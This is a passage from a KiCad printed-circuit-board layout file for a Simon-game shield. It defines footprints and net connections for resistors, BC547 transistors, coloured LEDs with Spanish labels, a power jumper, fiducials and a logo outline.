(layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 23 /buttons/BTN_LED_3))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 5957369C) (tstamp 595743E5)\n    (at 129.641 74.717 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5777D5BA/577967E7)\n    (fp_text reference R3 (at 3.717 0.109 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 15 /buttons/BTN_LED_2))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573654) (tstamp 595743D8)\n    (at 99.415 74.844 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5777D5BA/5779693E)\n    (fp_text reference R2 (at 3.844 0.085 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 14 /buttons/BTN_CFG_1))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 59573648) (tstamp 595743CB)\n    (at 88.239 74.844 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5777D5BA/5777DBC2)\n    (fp_text reference R1 (at 4.094 0.261 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 13 /buttons/BTN_LED_1))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 5957368B) (tstamp 595743BE)\n    (at 137.007 85.512 180)\n    (descr \"TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)\")\n    (tags \"to-92 sc-43 sc-43a sot54 PA33 transistor\")\n    (path /57780685/57780C35)\n    (fp_text reference Q5 (at 3.257 3.262 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value BC547 (at 0 3 180) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (pad 2 thru_hole circle (at 1.27 -1.27 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 11 \"Net-(Q5-Pad2)\"))\n    (pad 3 thru_hole circle (at 2.54 0 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 4 \"Net-(D4-Pad2)\"))\n    (pad 1 thru_hole circle (at 0 0 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 12 \"Net-(Q5-Pad1)\"))\n    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl\n      (at (xyz 0.05 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 -90))\n    )\n  )\n\n  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 5957365A) (tstamp 595743B1)\n    (at 80.873 85.512)\n    (descr \"TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)\")\n    (tags \"to-92 sc-43 sc-43a sot54 PA33 transistor\")\n    (path /57780685/57780C0C)\n    (fp_text reference Q4 (at 2.377 -4.012) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value BC547 (at 0 3) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (pad 2 thru_hole circle (at 1.27 -1.27 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 21 \"Net-(Q4-Pad2)\"))\n    (pad 3 thru_hole circle (at 2.54 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 20 \"Net-(D3-Pad2)\"))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 22 \"Net-(Q4-Pad1)\"))\n    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl\n      (at (xyz 0.05 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 -90))\n    )\n  )\n\n  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 5957360A) (tstamp 595743A4)\n    (at 137.007 62.144 180)\n    (descr \"TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)\")\n    (tags \"to-92 sc-43 sc-43a sot54 PA33 transistor\")\n    (path /57780685/57780BE3)\n    (fp_text reference Q3 (at 1.507 3.644 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value BC547 (at 0 3 180) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (pad 2 thru_hole circle (at 1.27 -1.27 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 9 \"Net-(Q3-Pad2)\"))\n    (pad 3 thru_hole circle (at 2.54 0 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 3 \"Net-(D2-Pad2)\"))\n    (pad 1 thru_hole circle (at 0 0 270) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 10 \"Net-(Q3-Pad1)\"))\n    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl\n      (at (xyz 0.05 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 -90))\n    )\n  )\n\n  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 54F242E1) (tstamp 59574397)\n    (at 80.873 62.144)\n    (descr \"TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)\")\n    (tags \"to-92 sc-43 sc-43a sot54 PA33 transistor\")\n    (path /57780685/57780BC0)\n    (fp_text reference Q2 (at 0 -4) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value BC547 (at 0 3) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (pad 2 thru_hole circle (at 1.27 -1.27 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 7 \"Net-(Q2-Pad2)\"))\n    (pad 3 thru_hole circle (at 2.54 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 2 \"Net-(D1-Pad2)\"))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 8 \"Net-(Q2-Pad1)\"))\n    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl\n      (at (xyz 0.05 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 -90))\n    )\n  )\n\n  (module simonShield:TO-92_Molded_Narrow (layer F.Cu) (tedit 54F242E1) (tstamp 5957438A)\n    (at 118.973 55.286 270)\n    (descr \"TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)\")\n    (tags \"to-92 sc-43 sc-43a sot54 PA33 transistor\")\n    (path /5797F3FE)\n    (fp_text reference Q1 (at 0 -4 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value BC547 (at 0 3 270) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))\n    (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n    (pad 2 thru_hole circle (at 1.27 -1.27) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 5 \"Net-(Q1-Pad2)\"))\n    (pad 3 thru_hole circle (at 2.54 0) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 6 \"Net-(Q1-Pad3)\"))\n    (pad 1 thru_hole circle (at 0 0) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS)\n      (net 19 \"Net-(Q1-Pad1)\"))\n    (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl\n      (at (xyz 0.05 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 -90))\n    )\n  )\n\n  (module simonShield:Pin_Header_Straight_2x02 (layer F.Cu) (tedit 0) (tstamp 59574377)\n    (at 81.0078 51.0427)\n    (descr \"Through hole pin header\")\n    (tags \"pin header\")\n    (path /57781B52/57781CF6)\n    (fp_text reference P1 (at 0 -5.1) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value PWR_JUMPER (at 0 -3.1) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.75 -1.75) (end -1.75 4.3) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 4.3 -1.75) (end 4.3 4.3) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.75 -1.75) (end 4.3 -1.75) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.75 4.3) (end 4.3 4.3) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.55 0) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))\n    (fp_line (start 0 -1.55) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.27 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 -1.27) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -1.27) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 3.81) (end -1.27 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.27 3.81) (end -1.27 1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole rect (at 0 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 25 \"Net-(P1-Pad1)\"))\n    (pad 2 thru_hole oval (at 2.54 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 32 VCC))\n    (pad 3 thru_hole oval (at 0 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 26 \"Net-(P1-Pad3)\"))\n    (pad 4 thru_hole oval (at 2.54 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 32 VCC))\n    (model Pin_Headers.3dshapes/Pin_Header_Straight_2x02.wrl\n      (at (xyz 0.05 -0.05 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 90))\n    )\n  )\n\n  (module simonShield:Fiducial_1mm (layer F.Cu) (tedit 573E1507) (tstamp 59574373)\n    (at 121.25 81.75)\n    (path /577D5FF6)\n    (clearance 1.524)\n    (fp_text reference F3 (at 0.02 -0.9) (layer F.SilkS) hide\n      (effects (font (size 0.7112 0.4572) (thickness 0.1143)))\n    )\n    (fp_text value FIDUCIAL (at 0 0.99) (layer F.SilkS) hide\n      (effects (font (size 0.254 0.254) (thickness 0.00254)))\n    )\n    (pad 1 smd circle (at 0 0) (size 1 1) (layers F.Cu F.Mask)\n      (net 35 \"Net-(F3-Pad1)\") (solder_mask_margin 1.5))\n  )\n\n  (module simonShield:Fiducial_1mm (layer F.Cu) (tedit 573E1507) (tstamp 5957436F)\n    (at 114.5 60)\n    (path /577D5F36)\n    (clearance 1.524)\n    (fp_text reference F2 (at 0.02 -0.9) (layer F.SilkS) hide\n      (effects (font (size 0.7112 0.4572) (thickness 0.1143)))\n    )\n    (fp_text value FIDUCIAL (at 0 0.99) (layer F.SilkS) hide\n      (effects (font (size 0.254 0.254) (thickness 0.00254)))\n    )\n    (pad 1 smd circle (at 0 0) (size 1 1) (layers F.Cu F.Mask)\n      (net 34 \"Net-(F2-Pad1)\") (solder_mask_margin 1.5))\n  )\n\n  (module simonShield:Fiducial_1mm (layer F.Cu) (tedit 573E1507) (tstamp 5957436B)\n    (at 79.25 101.75)\n    (path /577D561F)\n    (clearance 1.524)\n    (fp_text reference F1 (at 0.02 -0.9) (layer F.SilkS) hide\n      (effects (font (size 0.7112 0.4572) (thickness 0.1143)))\n    )\n    (fp_text value FIDUCIAL (at 0 0.99) (layer F.SilkS) hide\n      (effects (font (size 0.254 0.254) (thickness 0.00254)))\n    )\n    (pad 1 smd circle (at 0 0) (size 1 1) (layers F.Cu F.Mask)\n      (net 33 \"Net-(F1-Pad1)\") (solder_mask_margin 1.5))\n  )\n\n  (module simonShield:LED-5MM (layer F.Cu) (tedit 59573672) (tstamp 59574360)\n    (at 127.863 85.512)\n    (descr \"LED 5mm round vertical\")\n    (tags \"LED 5mm round vertical\")\n    (path /57780685/577975B8)\n    (fp_text reference D4 (at -3.113 -0.512) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value VERDE (at 1.524 -3.937) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))\n    (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))\n    (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))\n    (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))\n    (fp_text user K (at -3.113 1.238) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (pad 1 thru_hole rect (at 0 0 90) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 2 thru_hole circle (at 2.54 0) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 4 \"Net-(D4-Pad2)\"))\n    (model LEDs.3dshapes/LED-5MM.wrl\n      (at (xyz 0.05 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 90))\n    )\n  )\n\n  (module simonShield:LED-5MM (layer F.Cu) (tedit 59573664) (tstamp 59574355)\n    (at 90.017 85.639 180)\n    (descr \"LED 5mm round vertical\")\n    (tags \"LED 5mm round vertical\")\n    (path /57780685/5779752F)\n    (fp_text reference D3 (at -2.983 -0.111 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value ROJO (at 1.524 -3.937 180) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))\n    (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))\n    (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))\n    (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))\n    (fp_text user K (at -1.905 1.905 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (pad 1 thru_hole rect (at 0 0 270) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 2 thru_hole circle (at 2.54 0 180) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 20 \"Net-(D3-Pad2)\"))\n    (model LEDs.3dshapes/LED-5MM.wrl\n      (at (xyz 0.05 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 90))\n    )\n  )\n\n  (module simonShield:LED-5MM (layer F.Cu) (tedit 595736A9) (tstamp 5957434A)\n    (at 127.863 62.144)\n    (descr \"LED 5mm round vertical\")\n    (tags \"LED 5mm round vertical\")\n    (path /57780685/5779749F)\n    (fp_text reference D2 (at -2.863 -1.894) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value AZUL (at 1.524 -3.937) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))\n    (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))\n    (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))\n    (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))\n    (fp_text user K (at -3.113 -0.144) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (pad 1 thru_hole rect (at 0 0 90) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 2 thru_hole circle (at 2.54 0) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 3 \"Net-(D2-Pad2)\"))\n    (model LEDs.3dshapes/LED-5MM.wrl\n      (at (xyz 0.05 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 90))\n    )\n  )\n\n  (module simonShield:LED-5MM (layer F.Cu) (tedit 59573791) (tstamp 5957433F)\n    (at 90.017 62.144 180)\n    (descr \"LED 5mm round vertical\")\n    (tags \"LED 5mm round vertical\")\n    (path /57780685/57780BD5)\n    (fp_text reference D1 (at -2.733 -0.106 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value AMARILLO (at 1.524 -3.937 180) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.5 -1.55) (end -1.5 1.55) (layer F.CrtYd) (width 0.05))\n    (fp_arc (start 1.3 0) (end -1.5 1.55) (angle -302) (layer F.CrtYd) (width 0.05))\n    (fp_arc (start 1.27 0) (end -1.23 -1.5) (angle 297.5) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.23 1.5) (end -1.23 -1.5) (layer F.SilkS) (width 0.15))\n    (fp_circle (center 1.27 0) (end 0.97 -2.5) (layer F.SilkS) (width 0.15))\n    (fp_text user K (at -1.905 1.905 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (pad 1 thru_hole rect (at 0 0 270) (size 2 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 2 thru_hole circle (at 2.54 0 180) (size 1.9 1.9) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 2 \"Net-(D1-Pad2)\"))\n    (model LEDs.3dshapes/LED-5MM.wrl\n      (at (xyz 0.05 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 90))\n    )\n  )\n\n  (module simonShield:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 595736A0) (tstamp 59574332)\n    (at 118.465 74.971 90)\n    (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n    (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n    (path /5777D5BA/577969F3)\n    (fp_text reference R4 (at 4.221 0.035 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 3K3 (at 3.81 3.81 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 16 /buttons/BTN_CFG_2))\n    (pad 2 thru_hole circle (at 7.62 0 90) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask)\n      (net 32 VCC))\n  )\n\n  (module simonShield:Logo_Poncho (layer F.Cu) (tedit 59573768) (tstamp 5957432A)\n    (at 131 49.5)\n    (fp_text reference G*** (at 0.127 5.588 90) (layer F.SilkS) hide\n      (effects (font (thickness 0.3)))\n    )\n    (fp_text value LOGO (at 0.762 7.493) (layer F.SilkS) hide\n      (effects (font (thickness 0.3)))\n    )\n    (fp_poly (pts (xy 4.535714 -0.627021) (xy 4.498746 -0.420109) (xy 4.405012 -0.1352) (xy 4.280272 0.162897)\n      (xy 4.150281 0.409374) (xy 4.123376 0.447413) (xy 4.123376 -0.123701) (xy 4.058326 -0.436938)\n      (xy 3.869112 -0.644378) (xy 3.564639 -0.737671) (xy 3.463636 -0.742208) (xy 3.129516 -0.681223)\n      (xy 2.908248 -0.503835) (xy 2.808734 -0.218392) (xy 2.803896 -0.123701) (xy 2.868946 0.189536)\n      (xy 3.058159 0.396975) (xy 3.362633 0.490269) (xy 3.463636 0.494805) (xy 3.797606 0.436492)\n      (xy 3.958441 0.32987) (xy 4.092315 0.09203) (xy 4.123376 -0.123701) (xy 4.123376 0.447413)\n      (xy 4.089856 0.494805) (xy 4.013749 0.621925) (xy 3.89522 0.861365) (xy 3.753792 1.172585)\n      (xy 3.672876 1.360714) (xy 3.421635 1.929272) (xy 3.149718 2.496808) (xy 2.869494 3.041693)\n      (xy 2.593334 3.542296) (xy 2.556493 3.603955) (xy 2.556493 -0.123701) (xy 2.552598 -0.439936)\n      (xy 2.534834 -0.625484) (xy 2.494089 -0.714524) (xy 2.421247 